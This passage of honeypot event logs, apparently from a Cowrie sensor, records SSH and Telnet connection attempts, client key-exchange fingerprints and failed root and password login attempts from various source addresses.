{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:24.369607Z","src_ip":"194.59.206.2","session":"5d8ab16b2f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:24.455853Z","src_ip":"194.59.206.2","session":"5d8ab16b2f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":54523,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6eae33af2e4","protocol":"telnet","message":"New connection: 212.55.149.117:54523 (10.17.0.5:23) [session: d6eae33af2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:34.862635Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.234.171","src_port":32902,"dst_ip":"10.17.0.5","dst_port":22,"session":"833971927904","protocol":"ssh","message":"New connection: 102.211.234.171:32902 (10.17.0.5:22) [session: 833971927904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:35.277765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:35.283124Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:35.513847Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:eb:ec:37:54:65:95:22:09:79:13:2c:49:80:17:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLk6B2zgf8dOfmGQ4i8xdGM3STgVwnWJr5YWOq9/osZfKfkZ1yREaA+jBySaCaLfBNBHP2v5J6TK4A6UzxnhvC4tI5wm3ipK0NLvileaHLJy4q+4Jtdjq3rzFZtpu2+65xYoEFMueB8hHe0U6rC4h5UJR5rpD1cNpoQx9HqaH1NF1G/+3v/XlVSZKSsOXwP2vOqLPUgWAbXaPFLZCdPsapNhOx1dPU12St1SBnyDayD5Eqcl0MPKIb1v7Du+3WLDDH6mUUDE6Itn09pBWNxFtPnFG2lm3rpeEPoppiQgNglHdjHjwRaHHnSSiIedEM7hvBg9lRWUulMF372NTPDm/z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:eb:ec:37:54:65:95:22:09:79:13:2c:49:80:17:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:36.642025Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:eb:ec:37:54:65:95:22:09:79:13:2c:49:80:17:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLk6B2zgf8dOfmGQ4i8xdGM3STgVwnWJr5YWOq9/osZfKfkZ1yREaA+jBySaCaLfBNBHP2v5J6TK4A6UzxnhvC4tI5wm3ipK0NLvileaHLJy4q+4Jtdjq3rzFZtpu2+65xYoEFMueB8hHe0U6rC4h5UJR5rpD1cNpoQx9HqaH1NF1G/+3v/XlVSZKSsOXwP2vOqLPUgWAbXaPFLZCdPsapNhOx1dPU12St1SBnyDayD5Eqcl0MPKIb1v7Du+3WLDDH6mUUDE6Itn09pBWNxFtPnFG2lm3rpeEPoppiQgNglHdjHjwRaHHnSSiIedEM7hvBg9lRWUulMF372NTPDm/z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:36.645869Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:f9:5a:59:d3:7d:c3:51:35:a0:2e:89:b7:3b:d8:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQFcnV4qSZv/H7KJML3Umb0ZaWieLnlhj2GBu7eMm5pQOR51XM3IjfPnj8RMn3zGgj7rXpRFCJb2eo5Ze9IS6eAr7fglLK91Yr6NKg70SGV9VPwiwM02b1WPGnRObiOeHqGCscFjj2WROOeU52WQ9YVFkvr4kvxDPN3lBbV+wiBgwDGyM9KfvmgcYcDa3YWVytlycl7c0T9UIx+ZWhi/XzpR24nuCtEb89CX2EK2CAc4Jgg6wlkHGqp/rzq3tin754yIC30n448VDB0y8U6XV6F+IBBy6W+jQG7fWqdG1NKMC0F7gh6cXwZmunPVnnav9LCnO9zraHfk7raJh3kBXVk6pVA8Y2t2j4u3VoOCdiFjdoLFXTrDr4e3Qw/4cm3SObKvAxaFs5OGbMpWeH58n/3nUjAGhtnIVyUDJHQ+iJi4We54QA7tHV1GyL801O28hrwNk4NmsMuoQWY6djkPXS0Fut3dttVej0TtSdE/3PxP7sQsWSKjUpi43pAs1OF2J+0W7g14BUv9nGNZUyF/nwxXeZWsw9LC2PwPVn/5bVmDY4rYl8xc3sGz23iH2fxdydpo60BeMyogbpHzSoF355iFHQKeDXAYThG9tVsnwmDDHJovzLoTTnkViSB9qxLPG/GsDQ6nzurEJFbhyZJW13DmN11EzQZiFReQIh70p+QQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:f9:5a:59:d3:7d:c3:51:35:a0:2e:89:b7:3b:d8:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:36.881022Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:f9:5a:59:d3:7d:c3:51:35:a0:2e:89:b7:3b:d8:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQFcnV4qSZv/H7KJML3Umb0ZaWieLnlhj2GBu7eMm5pQOR51XM3IjfPnj8RMn3zGgj7rXpRFCJb2eo5Ze9IS6eAr7fglLK91Yr6NKg70SGV9VPwiwM02b1WPGnRObiOeHqGCscFjj2WROOeU52WQ9YVFkvr4kvxDPN3lBbV+wiBgwDGyM9KfvmgcYcDa3YWVytlycl7c0T9UIx+ZWhi/XzpR24nuCtEb89CX2EK2CAc4Jgg6wlkHGqp/rzq3tin754yIC30n448VDB0y8U6XV6F+IBBy6W+jQG7fWqdG1NKMC0F7gh6cXwZmunPVnnav9LCnO9zraHfk7raJh3kBXVk6pVA8Y2t2j4u3VoOCdiFjdoLFXTrDr4e3Qw/4cm3SObKvAxaFs5OGbMpWeH58n/3nUjAGhtnIVyUDJHQ+iJi4We54QA7tHV1GyL801O28hrwNk4NmsMuoQWY6djkPXS0Fut3dttVej0TtSdE/3PxP7sQsWSKjUpi43pAs1OF2J+0W7g14BUv9nGNZUyF/nwxXeZWsw9LC2PwPVn/5bVmDY4rYl8xc3sGz23iH2fxdydpo60BeMyogbpHzSoF355iFHQKeDXAYThG9tVsnwmDDHJovzLoTTnkViSB9qxLPG/GsDQ6nzurEJFbhyZJW13DmN11EzQZiFReQIh70p+QQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:36.884794Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:52:a0:a5:24:e2:ff:5d:98:ef:b1:da:6a:de:25:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD4Irf2H+5cLEr6I6mG0wqmuGvm8C2Js/rcyKpCDdyR5AJ8EMkuCAnvzhWlAzw5Yg/XvRUiCFd8TUC5LHU/t+JsCNNb87YHhl1gtLjm6lztQUM3pWe+h6RAIFVP+EA54i4XPyK28p+oDwGuFppblDcpjtdt11ga8a9xaokEl0t7Wv8Sn1zJmYsumpNNsjhruWW4/+snbxRlEhHYh3D5MReBgIl2JzlUUfdjyg2qhzIk+pHPL96DStKjnN7OZpqC2o7jjfz2gL6hnlxlkqcX+Nc1zWzsOXEWbLHCv/mo2aLtbwTMbxmzCwr8Dxv8dV50ltSEGIcIS9o1ltG49uDekKoOKQ3fcBqOlZqwKKaQG+cV0iNgbYQ6u8Ewrbn7ZpbL2bjXSToyoh2LuAPdTY8OV//rybGFl3cuu3AT4B/rGu28EERcOHTa52hWWhssaW8CVvVb1m/eLDyePAm+A/bX4t/0YhnShXre5zIkB8inmAA1aEISlHEGX6nS5NyK+/zscfafee8J+Llef53q2MHZYHom9EoDOD8vZb6a49h5OSd1D8nE6BRmx8H5Ccr5IXjqatnsNO4VELv4D8VIzQRjGFzkpyzH068ao+783409ssmQsA7pBP/AEgfYNaIdRp3UiWmwbCdWSFCOwD5c7zCK3CsFniaYvHgg8NwR/94maL+kww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:52:a0:a5:24:e2:ff:5d:98:ef:b1:da:6a:de:25:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:37.115220Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:52:a0:a5:24:e2:ff:5d:98:ef:b1:da:6a:de:25:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD4Irf2H+5cLEr6I6mG0wqmuGvm8C2Js/rcyKpCDdyR5AJ8EMkuCAnvzhWlAzw5Yg/XvRUiCFd8TUC5LHU/t+JsCNNb87YHhl1gtLjm6lztQUM3pWe+h6RAIFVP+EA54i4XPyK28p+oDwGuFppblDcpjtdt11ga8a9xaokEl0t7Wv8Sn1zJmYsumpNNsjhruWW4/+snbxRlEhHYh3D5MReBgIl2JzlUUfdjyg2qhzIk+pHPL96DStKjnN7OZpqC2o7jjfz2gL6hnlxlkqcX+Nc1zWzsOXEWbLHCv/mo2aLtbwTMbxmzCwr8Dxv8dV50ltSEGIcIS9o1ltG49uDekKoOKQ3fcBqOlZqwKKaQG+cV0iNgbYQ6u8Ewrbn7ZpbL2bjXSToyoh2LuAPdTY8OV//rybGFl3cuu3AT4B/rGu28EERcOHTa52hWWhssaW8CVvVb1m/eLDyePAm+A/bX4t/0YhnShXre5zIkB8inmAA1aEISlHEGX6nS5NyK+/zscfafee8J+Llef53q2MHZYHom9EoDOD8vZb6a49h5OSd1D8nE6BRmx8H5Ccr5IXjqatnsNO4VELv4D8VIzQRjGFzkpyzH068ao+783409ssmQsA7pBP/AEgfYNaIdRp3UiWmwbCdWSFCOwD5c7zCK3CsFniaYvHgg8NwR/94maL+kww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:37.118543Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:31:34:0b:6a:be:38:56:bc:be:f8:a2:f9:9c:a4:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/R6DZuL8xOGyVFCDdVM3rNt2npJBkMcq3v+DJcwW7PzbUaqYFbPD6mRmpZU5/VBGGgcL1yAg+0Ppx0azfAx9nvkkGjtHgTpYLHVBCSihX1PV1qrJTttTX9An8ZzJEijcIx9TQ6IHzVOGVIjAuIskaH4ka2QfFMtozbFdbT6yh3vpDXBDhhHwzBvDlZVKx3LlsgJVR/ZTxO0oIk9dbST64owC4nXE8SPoFshrJ2680YrLaAkiG4gDelU7fZ1RMszdZ3r+JVQBHmEJrfrmelEPA0+ew9i6myQLSMVirzlWcZTnYgc4W2rdOZ+Zt176kZliOlesNmyiYaBFLjpaWstZSur2Ku2QD6CxK+88Tvb1UmzvOyQg1nUfzT9VO2FaCCjOD2/3J3NcyV2o0NZ3Y4syHWINapr67fp/2Bi6olLa1GFNZ5STXFNTdT/ol07NJU05tHy0iVMYHj6WIQXMB5CGf8d4XGMNI8ek3RvtvUjsIND2hLBW4xDcQoiDoEzmdP3e/E02jWjK2E49rp2Dn2IiNXj6lH3tOI3awsxcOrbmJAqaIToWs2tr+5SXKUDjU+CSh14RA/ZNAJrRNByasJb1KzSKj1cYHkWr4/0/afXVZT27kxd5SQ3rbZ1vWh8BWBm5uXSUMf62MoC6cKN122tfCdA9mUFMTMIwhtXGZTdZvXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:31:34:0b:6a:be:38:56:bc:be:f8:a2:f9:9c:a4:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:37.348838Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:31:34:0b:6a:be:38:56:bc:be:f8:a2:f9:9c:a4:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/R6DZuL8xOGyVFCDdVM3rNt2npJBkMcq3v+DJcwW7PzbUaqYFbPD6mRmpZU5/VBGGgcL1yAg+0Ppx0azfAx9nvkkGjtHgTpYLHVBCSihX1PV1qrJTttTX9An8ZzJEijcIx9TQ6IHzVOGVIjAuIskaH4ka2QfFMtozbFdbT6yh3vpDXBDhhHwzBvDlZVKx3LlsgJVR/ZTxO0oIk9dbST64owC4nXE8SPoFshrJ2680YrLaAkiG4gDelU7fZ1RMszdZ3r+JVQBHmEJrfrmelEPA0+ew9i6myQLSMVirzlWcZTnYgc4W2rdOZ+Zt176kZliOlesNmyiYaBFLjpaWstZSur2Ku2QD6CxK+88Tvb1UmzvOyQg1nUfzT9VO2FaCCjOD2/3J3NcyV2o0NZ3Y4syHWINapr67fp/2Bi6olLa1GFNZ5STXFNTdT/ol07NJU05tHy0iVMYHj6WIQXMB5CGf8d4XGMNI8ek3RvtvUjsIND2hLBW4xDcQoiDoEzmdP3e/E02jWjK2E49rp2Dn2IiNXj6lH3tOI3awsxcOrbmJAqaIToWs2tr+5SXKUDjU+CSh14RA/ZNAJrRNByasJb1KzSKj1cYHkWr4/0/afXVZT27kxd5SQ3rbZ1vWh8BWBm5uXSUMf62MoC6cKN122tfCdA9mUFMTMIwhtXGZTdZvXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:37.352784Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:fd:3d:14:62:0d:d4:54:4c:90:40:d4:65:ee:c7:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKDpDi49FB6kBCLnfK9SH89km1O79xdrBWf57ojNAUrFEyyvUtX2Y+I7bfYHtIPalbpFU5cvryaZISyzlrrmrjoiiHgyuI1Ufi7jaSb9FY+rA48ouCrP6BazHjBo0KyUht509obSgbN1qr4393L8Nc+nluJUoaLQ1m52XvKV2ThU5dXxGnt7RY81AMONnHGCIv3iRc2IUVUTcOfulNblVVfN5NS6ySnbt6b8zUSh5I44FfEull74ecdtfp0fn5zE31qlBNBj24uYeZMQJFL51zk/H33wADRvebr9YQmvL/LBwpqLkLI2WmaeZMU6ZCkP6ROJfmETPefEqmCE1hMkjvhIy9YaOd8KZpieaMTEz9rK9b05e37UToJRWDwyUjluRpXaPBdLn7U/86G6O/FjyNihTt8JZW84eyS8fuxYyYjkyIEPcK3DkCOHvA1Qzk4AtoTPgHGVjpeCaZ0BpL4Yt+cKKO18FhOCwt2BPyLpPVqsnfHl40CySsawK4yTLYQX3Zi4/HkRlag/RxOyoqqbN1XCOtDh79UAKrszbthKeEdIMtB7BK3TDC1YUDz84sV8SJ+KCqPRv3mNLlO6CccGkUf7YmoFDLMaLwq3HLDPO17jgkDlffrGdx735yPQtb+xdAqDrzlbadWVJ09v48a+Ota+IP+ujeJ8juZpZnC+635Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:fd:3d:14:62:0d:d4:54:4c:90:40:d4:65:ee:c7:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:37.583025Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:fd:3d:14:62:0d:d4:54:4c:90:40:d4:65:ee:c7:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKDpDi49FB6kBCLnfK9SH89km1O79xdrBWf57ojNAUrFEyyvUtX2Y+I7bfYHtIPalbpFU5cvryaZISyzlrrmrjoiiHgyuI1Ufi7jaSb9FY+rA48ouCrP6BazHjBo0KyUht509obSgbN1qr4393L8Nc+nluJUoaLQ1m52XvKV2ThU5dXxGnt7RY81AMONnHGCIv3iRc2IUVUTcOfulNblVVfN5NS6ySnbt6b8zUSh5I44FfEull74ecdtfp0fn5zE31qlBNBj24uYeZMQJFL51zk/H33wADRvebr9YQmvL/LBwpqLkLI2WmaeZMU6ZCkP6ROJfmETPefEqmCE1hMkjvhIy9YaOd8KZpieaMTEz9rK9b05e37UToJRWDwyUjluRpXaPBdLn7U/86G6O/FjyNihTt8JZW84eyS8fuxYyYjkyIEPcK3DkCOHvA1Qzk4AtoTPgHGVjpeCaZ0BpL4Yt+cKKO18FhOCwt2BPyLpPVqsnfHl40CySsawK4yTLYQX3Zi4/HkRlag/RxOyoqqbN1XCOtDh79UAKrszbthKeEdIMtB7BK3TDC1YUDz84sV8SJ+KCqPRv3mNLlO6CccGkUf7YmoFDLMaLwq3HLDPO17jgkDlffrGdx735yPQtb+xdAqDrzlbadWVJ09v48a+Ota+IP+ujeJ8juZpZnC+635Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:37.586398Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:13:37.821241Z","src_ip":"102.211.234.171","session":"833971927904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45128,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceba8aed96d7","protocol":"ssh","message":"New connection: 2.57.122.238:45128 (10.17.0.5:22) [session: ceba8aed96d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:05.748690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:05.753409Z","src_ip":"2.57.122.238","session":"ceba8aed96d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:05.858920Z","src_ip":"2.57.122.238","session":"ceba8aed96d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:06.175328Z","src_ip":"2.57.122.238","session":"ceba8aed96d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.117.118.196","src_port":50334,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf53bfc67662","protocol":"ssh","message":"New connection: 185.117.118.196:50334 (10.17.0.5:22) [session: cf53bfc67662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:06.397271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:06.401841Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-